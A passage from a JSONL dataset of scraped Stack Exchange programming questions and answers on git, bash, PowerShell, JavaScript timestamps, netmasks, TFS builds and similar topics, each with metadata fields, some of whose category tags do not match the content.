the following two notations refer to exactly the same point in time:\n```\n```\n1995-02-04 24:00 = 1995-02-05 00:00\n```\n```\nIn case an unambiguous representation of time is required, 00:00 is usually the preferred notation for midnight and not 24:00. Digital clocks display 00:00 and not 24:00.\nISO 8601 does not specify, whether its notations specify a point in time or a time period. This means for example that ISO 8601 does not define whether 09:00 refers to the exact end of the ninth hour of the day or the period from 09:00 to 09:01 or anything else. The users of the standard must somehow agree on the exact interpretation of the time notation if this should be of any concern.\nIf a date and a time are displayed on the same line, then always write the date in front of the time. If a date and a time value are stored together in a single data field, then ISO 8601 suggests that they should be separated by a latin capital letter T, as in 19951231T235959.\nA remark for readers from the U.S.:\nThe 24h time notation specified here has already been the de-facto standard all over the world in written language for decades. The only exception are a few English speaking countries, where still notations with hours between 1 and 12 and additions like “a.m.” and “p.m.” are in wide use. The common 24h international standard notation is widely used now even in England (e.g. at airports, cinemas, bus/train timetables, etc.). Most other languages do not even have abbreviations like “a.m.” and “p.m.” and the 12h notation is certainly hardly ever used on Continental Europe to write or display a time. Even in the U.S., the military and computer programmers have been using the 24h notation for a long time.\nThe old English 12h notation has many disadvantages like:\nIt is longer than the normal 24h notation.\nIt takes somewhat more time for humans to compare two times in 12h notation.\nIt is not clear, how 00:00, 12:00 and 24:00 are represented. Even encyclopedias and style manuals contain contradicting descriptions and a common quick fix seems to be to avoid “12:00 a.m./p.m.” altogether and write “noon”, “midnight”, or “12:01 a.m./p.m.” instead, although the word “midnight” still does not distinguish between 00:00 and 24:00 (midnight at the start or end of a given day).\nIt makes people often believe that the next day starts at the overflow from “12:59 a.m.” to “1:00 a.m.”, which is a common problem not only when people try to program the timer of VCRs shortly after midnight.\nIt is not easily comparable with a string compare operation.\nIt is not immediately clear for the unaware, whether the time between “12:00 a.m./p.m.” and “1:00 a.m./p.m.” starts at 00:00 or at 12:00, i.e. the English 12h notation is more difficult to understand.\nPlease consider the 12h time to be a relic from the dark ages when Roman numerals were used, the number zero had not yet been invented and analog clocks were the only known form of displaying a time. Please avoid using it today, especially in technical applications! Even in the U.S., the widely respected Chicago Manual of Style now recommends using the international standard time notation in publications.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.180025"}
{"id": "hf_c48ddd9629ec", "question": "<p>What's the best way (or tool) on the Windows (Vista) command line to get size and modification time for a file on a remote webserver, without downloading it?</p>\n", "question_body": "", "answer": "There is a\nWin32 port of wget\nthat works decently.\nPowerShell's\n```\nInvoke-WebRequest -Method Head\n```\nwould work as well.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.317261"}
{"id": "hf_9b2677301a23", "question": "<p>I have committed, and pushed, several patches:\nA1-->A2-->A3-->A4 (HEAD)</p>\n\n<p>Everyone's pulled these changesets into their local copy.</p>\n\n<p>Now we want to \"roll back\" to A2, and continue developing from there - essentially throwing away A3 and A4. What's the best way to do this?</p>\n", "question_body": "", "answer": "You want\n```\ngit-revert\n```\nand\n```\ngit-reset\n```\ndepending on how you want to treat A3 and A4. To remove all trace of A3 and A4, use\n```\ngit-reset --hard\n```\n.\nTo keep A3 and A4 and record the fact you are reverting, use\n```\ngit-revert\n```\n.\nedit\n: Aristotle Pagaltzis's\n```\ngit-checkout\n```\nsolution is superior, though for small reverts I don't see a problem with\n```\ngit-revert\n```\n. None the less, I ask future upvotes be given to\nAristotle Pagaltzis's answer\nI found\ngit magic\nto be a good resource for git.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.418216"}
{"id": "hf_94e41b16eba4", "question": "<p>I want to digest a multipart response in C++ sent back from a PHP script. Anyone know of a very lightweight MIME parser which can do this for me?</p>\n", "question_body": "", "answer": "I know this may be too little, too late, but I had a similar need.  I wanted a mime parser that just did the encoding and decoding of the MIME.  For the sake of completeness and for Google-ability I thought I should put my findings here.  Keep in mind that I was not interested in send and receiving mail, just encoding and decode MIME.  Here are the libraries I researched for C++ MIME:\nhttp://www.vmime.org/\n- Looks like too much. Contains pop, SMTP, tls, IMAP, could remove this.  Posix and windows.\nhttp://codesink.org/mimetic_mime_library.html\n- looks promising.  Very nice api for reading in and creating messages. Went with this one. Not too heavy.  Had to “fix” 2 things. First for multipart the code was just check for the string “multipart” and did not recognize “multipart/mixed” and did not write out the parts. Secondly, I had to hack the mimeentity write code.  It was just writing out the std::deque Field and since these are strings it seem to be doing so alphabetically.  This is problem because the MIME-version has to be the first field written out. So I fixed this. I also had to add support for Content-Length.\nhttp://www.mozilla.org/mailnews/arch/libmime-description.html\n- Hard time finding this.  Had to download the whole package. mailnews\\mime\\src\nhttp://www.example-code.com/vcpp/smime.asp\n- Didn’t consider because it had no source code and was windows specific.\nhttp://httpd.apache.org/docs/2.2/mod/mod_mime.html\n- Couldn’t find this C implementation.\nI chose Mimetic for my needs although I had to add a few things to it.  None of the parsers I found handled the optional fields (Content-Length, etc..) very well.  I also needed it to support multiple platforms (Windows, Linux, etc..)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.550980"}
{"id": "hf_108434fdca67", "question": "<p>I would like to create an iPhone app that can open the google maps app and place a pin on the map.</p>\n\n<p>I have the exact location of the pin, specified by its longitude and latitude.\nI also have a name for the pin e.g. 'location 1' that should be displayed along with the pin.</p>\n\n<p>I know that UIApplication:openURL can be used for this but I don't know the exact url format.</p>\n\n<p>So, is there a way to do what I described above? If, yes, what is the correct url format?</p>\n", "question_body": "", "answer": "You can use a URL of the format:\nhttp://maps.google.com/maps?q=Your+Location+name@latitude,longitude\nhttp://maps.google.com/maps?q=This+is+near+Lake+Shore+Drive@41.9288,-87.6315", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.717714"}
{"id": "hf_79e520133a93", "question": "<p>For example, if I have a network spec like 172.20.10.0/24, \"24\" is the bitcount. What's the best way to convert that to a netmask like 0xffffff00 ?</p>\n", "question_body": "", "answer": "This is not a programming question, but in linux you can use whatmask.\n```\n```\nwhatmask 72.20.10.0/24\n```\n```\nreturns\n```\n```\nIP Entered = ..................: 72.20.10.0\nCIDR = ........................: /24\nNetmask = .....................: 255.255.255.0\nNetmask (hex) = ...............: 0xffffff00\nWildcard Bits = ...............: 0.0.0.255\n------------------------------------------------\nNetwork Address = .............: 72.20.10.0\nBroadcast Address = ...........: 72.20.10.255\nUsable IP Addresses = .........: 254\nFirst Usable IP Address = .....: 72.20.10.1\nLast Usable IP Address = ......: 72.20.10.254\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.934603"}
{"id": "hf_8d246ed73f6a", "question": "<p>I want to find a linux command that can return a part of the string. In most programming languages, it's the <code>substr()</code> function. Does bash have any command that can be used for this purpose. I want to be able to do something like this...\n<code>substr \"abcdefg\" 2 3</code> - prints <code>cde</code>.</p>\n\n<hr>\n\n<p>Subsequent similar question:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/428109/extract-substring-in-bash\">Extract substring in Bash</a></li>\n</ul>\n", "question_body": "", "answer": "From the bash manpage:\n```\n```\n${parameter:offset}\n${parameter:offset:length}\n        Substring  Expansion.   Expands  to  up  to length characters of\n        parameter starting at the character  specified  by  offset.\n[...]\n```\n```\nOr, if you are not sure of having\n```\nbash\n```\n, consider using\n```\ncut\n```\n.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:36.174073"}
{"id": "hf_4d1705c712be", "question": "<p>I've got the bare minimum to handle the Linux/MySQL parts of the stack, but I want to have a basic grasp of PHP before I dive in.  I'll be working on WordPress plugins, in case there's anything specifically interesting for that.</p>\n\n<p>PS - any recommendations regarding recommended source control/IDEs would also be great, but I guess that's a separate question.</p>\n", "question_body": "", "answer": "For PHP books you can check\nthis\nquestion, personally I like\nProgramming PHP\n, IDEs, I can recommend you to try:\nEclipse PDT\nZend Studio for Eclipse\nNetBeans for PHP\nDevPHP\nVim\nVim actually it's not an IDE, but you can get omnicompletion, syntax coloring, debugging, and so on...\nThe\nPHP Manual\nit's also a really good place to start learning the language.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:36.435334"}
{"id": "hf_bd8feda96a4c", "question": "<p>I have all the web pages of a website. My task is to change all HTML files to <code>.asp</code> files and change the links. I have about 280 HTML files.<br>\nIs there any software or web service which can read a website and show me the link structure of the site (to make my job easier) similar to a site map?</p>\n", "question_body": "", "answer": "If the links use relative paths, all you have to do is to change the .html file extensions to .asp and place the files on a server that can run ASP.\nIf they are absolute paths, you can get away with editing your hosts file to point the original domain to your own server and just place the untouched files on your server.\nIf you\nreally\nneed to replace the URLs, try a text editor like UltraEdit or Notepad++ (on Windows) that can do find/replace over files (and use regular expressions for the search phrase). Or you can use sed or Perl on Linux.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:36.673498"}
{"id": "hf_4691cec637db", "question": "<p>I want a single number that represents the current date and time, like a <a href=\"https://en.wikipedia.org/wiki/Unix_time\" rel=\"noreferrer\">Unix timestamp</a>.</p>\n", "question_body": "", "answer": "Timestamp in milliseconds\nTo get the number of milliseconds since\nUnix epoch\n, call\n```\nDate.now\n```\n:\n```\n```\nDate.now()\n```\n```\nAlternatively, use the unary operator\n```\n+\n```\nto call\n```\nDate.prototype.valueOf\n```\n:\n```\n```\n+ new Date()\n```\n```\nAlternatively, call\n```\nvalueOf\n```\ndirectly:\n```\n```\nnew Date().valueOf()\n```\n```\nTo support IE8 and earlier (see\ncompatibility table\n), create a\nshim\nfor\n```\nDate.now\n```\n:\n```\n```\nif (!Date.now) {\n    Date.now = function() { return new Date().getTime(); }\n}\n```\n```\nAlternatively, call\n```\ngetTime\n```\ndirectly:\n```\n```\nnew Date().getTime()\n```\n```\nTimestamp in seconds\nTo get the number of seconds since\nUnix epoch\n, i.e.\nUnix timestamp\n:\n```\n```\nMath.floor(Date.now() / 1000)\n```\n```\nAlternatively, using bitwise-or to floor is slightly faster, but also less readable and may break in the future (see explanations\n1\n,\n2\n):\n```\n```\nDate.now() / 1000 | 0\n```\n```\nTimestamp in milliseconds (higher resolution)\nUse\n```\nperformance.now\n```\n:\n```\n```\nvar isPerformanceSupported = (\n    window.performance &&\n    window.performance.now &&\n    window.performance.timing &&\n    window.performance.timing.navigationStart\n);\n\nvar timeStampInMs = (\n    isPerformanceSupported ?\n    window.performance.now() +\n    window.performance.timing.navigationStart :\n    Date.now()\n);\n\nconsole.log(timeStampInMs, Date.now());\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:36.884598"}
{"id": "hf_28667a7abf10", "question": "<p>I'm creating window using pure Win32 API (RegisterClass and CreateWindow functions). How can I specify a font for the window instead of system defined one?</p>\n", "question_body": "", "answer": "In case you superclass a standard common control that already has its own font handle, use this approach: Just create a font using\n```\nCreateFont\n```\nor\n```\nCreateFontIndirect\n```\nand set it using\n```\nWM_SETFONT\n```\nmessage (in MFC and ATL there would be a corresponding\n```\nSetFont\n```\nfunction). When the font is no longer needed, destroy the font using\n```\nDeleteObject\n```\n. Be sure to not destroy the window's previously set font.\nIn case you're writing a custom control that draws itself, just create a new font object using\n```\nCreateFont\n```\nor\n```\nCreateFontIndirect\n```\nand store it in your class somewhere. If you want to support third-party users, handle\n```\nWM_SETFONT\n```\nand\n```\nWM_GETFONT\n```\nto let the user set another font. When painting, use the current font object stored in your class.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:37.029249"}
{"id": "hf_26103fedc159", "question": "<p>What's the best way to determine if the version of the JRE installed on a machine is high enough for the application which the user wants to run? Is there a way of doing it using java-only stuff? I'd like the solution to work on Windows/Linux/MacOSX - if the JRE version is too low a message should be displayed. Currently I'm getting an exception if i try to run it on Java 1.5 (the app is built for Java 1.6). If there's no universal solution, what's the best way to do it on Windows?</p>\n", "question_body": "", "answer": "An application built for a higher-version JRE will not run on a lower-version JRE. So you wouldn't be able to just add code to your application to check the JRE version - if the JRE version was incompatible, your JRE-version-checking code would not run in the first place.\nWhat you'd have to do is have some sort of launcher application that is built for a lower-version JRE (1.3?) that checks the version and then launches your app if necessary. This sounds kind of kludgy to me.\nWhat about checking the version during installation? Are you installing the app in a way that allows you to check environment variables, or do any sort of scripting?", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:37.249907"}
{"id": "hf_963b8737f459", "question": "<p>Is there any performance impact or any kind of issues?\nThe reason I am doing this is that we are doing some synchronization between two set of DBs with similar tables and we want to avoid duplicate PK errors when synchronizing data.</p>\n", "question_body": "", "answer": "Yes, it's okay.\nNote: If you have perfomance concerns you could use the \"CACHE\" option on \"CREATE SEQUENCE\":\n\"Specify how many values of the sequence the database preallocates and keeps in memory for faster access. This integer value can have 28 or fewer digits. The minimum value for this parameter is 2. For sequences that cycle, this value must be less than the number of values in the cycle. You cannot cache more values than will fit in a given cycle of sequence numbers. Therefore, the maximum value allowed for CACHE must be less than the value determined by the following formula:\"\n```\n```\n(CEIL (MAXVALUE - MINVALUE)) / ABS (INCREMENT)\n```\n```\n\"If a system failure occurs, all cached sequence values that have not been used in committed DML statements are lost. The potential number of lost values is equal to the value of the CACHE parameter.\"", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:37.395519"}
{"id": "hf_354ad938e0a1", "question": "<p>I need a way to detect mouse/keyboard activity on Linux. Something similar to what any IM program would do. If no activity is detected for, say 5 minutes, it will set your IM status to \"I'm not here right now\".</p>\n\n<p>Any help towards this is appreciated.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Try executing\n```\nwho -u -H\n```\nat the command line. It will tell you who's logged in and how long they've been idle. At least users logged in to a terminal; I don't think it works at all in X. Anyhow, with this information you can tell who's idle or not and take actions appropriately.\nIf you're in X you could create a script to run as a screen saver or something like that.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:37.541488"}
{"id": "hf_d1a84a3f5bd8", "question": "<p>I was wondering if there is a way for a network of N participants to agree that a number from 1 to M was chosen at random. (e.g. not influenced by any of the participants) This has been solved for values of n=2 and m=2 by the <a href=\"http://everything2.com/title/Coin%2520tossing%2520protocol\" rel=\"noreferrer\">coin tossing protocol</a>. Does anyone know of any solutions that can work for arbitrary values of N and M?</p>\n", "question_body": "", "answer": "Edit\nBetter algorithm (thanks wnoise):\nEveryone picks a secret number from 0 to M-1\nEveryone appends a load of random gunk to their number and hashes the result with a secure hash\nEveryone tells everyone else this hash\nEveryone tells everyone else their secret number, plus the random gunk they appended to it\nEveryone verifies that the numbers and hashes+gunk match\nAdd all the secret numbers together modulo M, then adds 1 to get the final result\nAs a participant, I should be satisfied with this because I know that I had full influence over the final result - the final number could have been anything at all, depending on my choice of secret number. So since no-one else could predict my number, they couldn't have predicted the final result either.\nAny way to reduce the messages from the 3M^2 that i suspect a broadcast approach would require?\nI reckon that only the hash publication has to be a broadcast, but it's still O(M^2). I guess the only way around that would be to pre-exchange digital signature keys, or to have a trusted communication hub.\nEdit2\n- How safe is the hashing thing?\nPossible attacks include:\nIf I can generate a hash collision then I have two secret numbers with the same hash. So once I know everyone else's secret numbers I can choose which of my secret numbers to reveal, thus selecting one of two possible results.\nIf I generate my secret number and random gunk using a PRNG, then an attacker trying to brute-force my hash doesn't have to try every possible number+gunk, only every possible seed for the PRNG.\nI use the number+gunk that everyone reveals to determine information about their PRNGs - I could try to guess or brute-force the seeds, or calculate the internal state from the output. This helps me predict what numbers they will generate next time around, which narrows the search space for a brute-force attack.\nTherefore, you should\nUse a trusted, unbroken hashing algorithm.\nUse a cryptographically secure random number generator that has a big seed / state, and try to seed it from a good source of entropy.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:37.841912"}
{"id": "hf_fb7433283fdc", "question": "<p>i have a 3 column datafile and i wanted to use splot to plot the same.\nBut what i want is that gnuplot plots first row (in some colour, say red) and then pauses for say 0.3 secs and then moves on to plotting next row (in other colour, not in red, say in green), pauses for 0.3 secs and then proceeds to next row....so on n so forth.</p>\n\n<p>Any help will be greately appreciated.</p>\n\n<p>thanks in advance</p>\n\n<p>Regards Pankaj</p>\n", "question_body": "", "answer": "If you want to produce an animation, you better use specialized tools for it (like mplayer).\nUse gnuplot to prepare all source images (first one with single row plotted, second - with two lines, etc), then use mplayer or convert (from imagemagic) to produce avi or animated GIF out of source files.\nYou can use the following shell snippet to produce partial copies of the input file, each with increasing number of lines.\n```\n```\nfile=\"your input file.dat\"\nlines=$(wc -l $file)\ni=1\nwhile [ $i -le $lines ] ; do\n  head -${i} ${file} > ${file%.dat}-${i}lines.dat\ndone\n```\n```\nGiven somefile.dat this will produce files \"somefile-1lines.dat\", \"somefile-2lines.dat\", etc. Then you can use:\n```\n```\nfor f in *lines.dat ; do\n  gnuplot ... $f \ndone\n```\n```\nto plot them all in sequence.\nIf my assumption is wrong and all you really want is this pause, then you can try to set things up so that gnuplot will get data from stdin, and then use this scipt (name it paused-input.sh) to pipe input file with pauses after each line:\n```\n```\n#!/bin/bash\nwhile read l ; do\n  echo \"$l\"\n  sleep 1\ndone\n```\n```\nThen invoke it like this:\n```\n```\n(pause-input.sh | gnuplot ...) < somefile.dat\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.051072"}
{"id": "hf_649e072cd701", "question": "<p>This is sort of a follow-up to <a href=\"https://stackoverflow.com/questions/223678\">this question</a>.</p>\n\n<p>If there are multiple blobs with the same contents, they are only stored once in the git repository because their SHA-1's will be identical.  How would one go about finding all duplicate files for a given tree?  </p>\n\n<p>Would you have to walk the tree and look for duplicate hashes, or does git provide backlinks from each blob to all files in a tree that reference it?</p>\n", "question_body": "", "answer": "The scripting answers from your linked question pretty much apply here too.\nTry the following git command from the root of your git repository.\n```\n```\ngit ls-tree -r HEAD\n```\n```\nThis generates a recursive list of all 'blobs' in the current HEAD, including their path and their sha1 id.\ngit doesn't maintain back links from a blob to tree so it would be a scripting task (perl, python?) to parse a\n```\ngit ls-tree -r\n```\noutput and create a summary report of all sha1s that appear more than once in the list.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.191064"}
{"id": "hf_f716b9e13412", "question": "<p>With Windows 7 probably going to RTM next October (and DirectX 11 with it), would it be worth waiting for DirectX 11's explicit GPGPU features, meaning it will be cross-platform (ATI/Nvidia, not Windows/Linux/Mac/Whatever); or should I create a CUDA application now?</p>\n", "question_body": "", "answer": "From a learning point-of-view I think you would benefit from starting with CUDA now, since it will help you a lot with thinking in data-parallelism which is what the GPUs are good at. Then when/if you turn to DirectX 11, you have a good foundation for working with it, but it depends on the kind of time you have available (i.e. if you have time to experiment with stuff just for the learning experience).\nAlternatively, the mac people are pushing for OpenCL (Open Compute Language) to be the general solution, though not much is known at this point. This is another technology you can wait for and check out.\nThe Microsoft PDC conference is held later this month, maybe they will announce some useful info on DX11 to help you make up your mind.\nMy general advice would be that I think there is a lot to learn now which you will be able to use later (with DX11 or OpenCL) but that you have to ask yourself if you are willing to learn some technology which might not make it in the long run. Anyways, these are just my thoughts, I don't have a huge amount of experience with CUDA yet.\nOn a highly speculative note, my gut feeling is that APIs such as CUDA won't survive for long and that DirectX and/or OpenCL are the only solutions which have a future (Unless they really botch their implementations, which I doubt).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.358177"}
{"id": "hf_f3a66622e127", "question": "<p>Safari on iPhone automatically creates links for strings of digits that appear to the telephone numbers.  I am writing a web page containing an IP address, and Safari is turning that into a phone number link.  Is it possible to disable this behavior for a whole page or an element on a page?</p>\n", "question_body": "", "answer": "You could try encoding them as HTML entities:\n```\n```\n&#48; = 0\n&#57; = 9\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.590880"}
{"id": "hf_b877b3861c6a", "question": "<p>This is just a general question - I was sitting and waiting for a bit of software to compile (we use Incredibuild here but can still take 10/15 mins) and it got me wondering, does anyone know how long it took to compile Windows XP or Vista? </p>\n\n<p>I did some googling but didn't really find any useful information</p>\n", "question_body": "", "answer": "Third-hand information I have is that it takes about a day to complete a Windows build. Which is more or less in line with attempting to build your favorite OSS Operating System from scratch.\nBuilding a modern operating system is a complex and difficult task. The only reason why it doesn't take longer is because companies like Microsoft have build environments setup to help automate integration testings. Thus they can build a system with less manual effort than is involved in most OSS builds.\nIf you've like to get a feel for what it takes to build an operating system, might I recommend the free eBook:\nLinux from Scratch\nFor a more automated build, try\nGentoo\n. Both options should give you a better idea of the Operating System build process.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.722543"}
{"id": "hf_3108673feaff", "question": "<p>I am building Windows apps for a few clients.  I read Joel on Software and took the Joel Test and realized I don't quite measure up.  One place I am lacking is automated builds.  What should I use to have automated builds?  I have Windows apps that use .NET 1.1, 2.0, and 3.5.  Also, I need to be able to build my .vdproj to create MSI's.  I am looking for something that is free and would work well for a one-man team.</p>\n", "question_body": "", "answer": "CruiseControl.Net\nand\nNAnt\nare the standard tools (and open source too), so there will be a lot of community support available.\nMSBuild\nis now open source, too\nIt will be quite a lot of work to set it all up, but it will be very powerful and have lots of room for growth too.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:38.881406"}
{"id": "hf_bc3dd9dca5b2", "question": "<p>What's the best way to initialize an array in PowerShell?</p>\n\n<p>For example, the code</p>\n\n<pre><code>$array = @()\nfor($i=0; $i -lt 5;$i++)\n{\n    $array[$i] = $FALSE\n}\n</code></pre>\n\n<p>generates the error</p>\n\n<pre><code>Array assignment failed because index '0' was out of range.\nAt H:\\Software\\PowerShell\\TestArray.ps1:4 char:10\n+         $array[$ &lt;&lt;&lt;&lt; i] = $FALSE\n</code></pre>\n", "question_body": "", "answer": "The solution I found was to use the New-Object cmdlet to initialize an array of the proper size.\n```\n```\n$array = new-object object[] 5 \nfor($i=0; $i -lt $array.Length;$i++)\n{\n    $array[$i] = $FALSE\n}\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.016381"}
{"id": "hf_cfba71ee2fee", "question": "<p>I want to use jQuery to parse RSS feeds. Can this be done with the base jQuery library out of the box or will I need to use a plugin?</p>\n", "question_body": "", "answer": "Use jFeed\n- a jQuery RSS/Atom plugin. According to the docs, it's as simple as:\n```\n```\njQuery.getFeed({\n   url: 'rss.xml',\n   success: function(feed) {\n      alert(feed.title);\n   }\n});\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.134834"}
{"id": "hf_be4c3915115a", "question": "<p>I want to pause input in a shell script, and prompt the user for choices.<br>\nThe standard <code>Yes</code>, <code>No</code>, or <code>Cancel</code> type question.<br>\nHow do I accomplish this in a typical bash prompt?</p>\n", "question_body": "", "answer": "```\n```\necho \"Please enter some input: \"\nread input_variable\necho \"You entered: $input_variable\"\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.253670"}
{"id": "hf_aa298cf24aac", "question": "<p>When you are monitoring the TFS build from Visual Studio (2008 or 2005), you can see where it is up to.</p>\n\n<p>The issue is that I have some Post-Build custom steps I would like the developer to be able to see directly throught the UI. Those steps take some times and we can also get a \"timing\" of the build step.</p>\n\n<p>Any idea how to have it displayed?</p>\n", "question_body": "", "answer": "This is the pattern that I normally use for adding steps to the build report in TFS 2008. (See\nhttp://code.msdn.microsoft.com/buildwallboard/\nfor the full example that I usually use in my Team Build talks)\nBasically, the magic is that there is a custom task provided for you in TFS2008 called \"BuildStep\".  Here is the section where I generate and MSI installer and build the appropriate build steps in the report:\n```\n```\n<Target Name=\"PackageBinaries\">\n\n    <!-- create the build step -->\n    <BuildStep TeamFoundationServerUrl=\"$(TeamFoundationServerUrl)\"\n               BuildUri=\"$(BuildUri)\"\n               Message=\"Creating Installer\"\n               Condition=\" '$(IsDesktopBuild)' != 'true' \" >\n      <Output TaskParameter=\"Id\"\n              PropertyName=\"InstallerStepId\" />\n    </BuildStep>\n\n    <!-- Create the MSI file using WiX -->\n    <MSBuild Projects=\"$(SolutionRoot)\\SetupProject\\wallboard.wixproj\"\n  Properties=\"BinariesSource=$(OutDir);PublishDir=$(BinariesRoot);Configuration=%(ConfigurationToBuild.FlavourToBuild)\" >\n    </MSBuild>\n\n    <!-- If we sucessfully built the installer, tell TFS -->\n    <BuildStep TeamFoundationServerUrl=\"$(TeamFoundationServerUrl)\"\n               BuildUri=\"$(BuildUri)\"\n               Id=\"$(InstallerStepId)\"\n               Status=\"Succeeded\"\n               Condition=\" '$(IsDesktopBuild)' != 'true' \" />\n\n    <!-- Note that the condition above means that we do not talk to TFS when doing a Desktop Build -->\n\n    <!-- If we error during this step, then tell TFS we failed-->\n    <OnError   ExecuteTargets=\"MarkInstallerFailed\" />\n  </Target>\n\n  <Target Name=\"MarkInstallerFailed\">\n    <!-- Called by the PackageBinaries method if creating the installer fails -->\n    <BuildStep TeamFoundationServerUrl=\"$(TeamFoundationServerUrl)\"\n               BuildUri=\"$(BuildUri)\"\n               Id=\"$(InstallerStepId)\"\n               Status=\"Failed\"\n               Condition=\" '$(IsDesktopBuild)' != 'true' \" />\n  </Target>\n```\n```\nSo initially, I create the build step and save the Id of the step in a propery called InstallerStepId.  After I have performed my task, I set the status of that step to Succeeded.  If any errors occur during the step then I set the status of that step to Failed.\nGood luck,\nMartin.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.95, 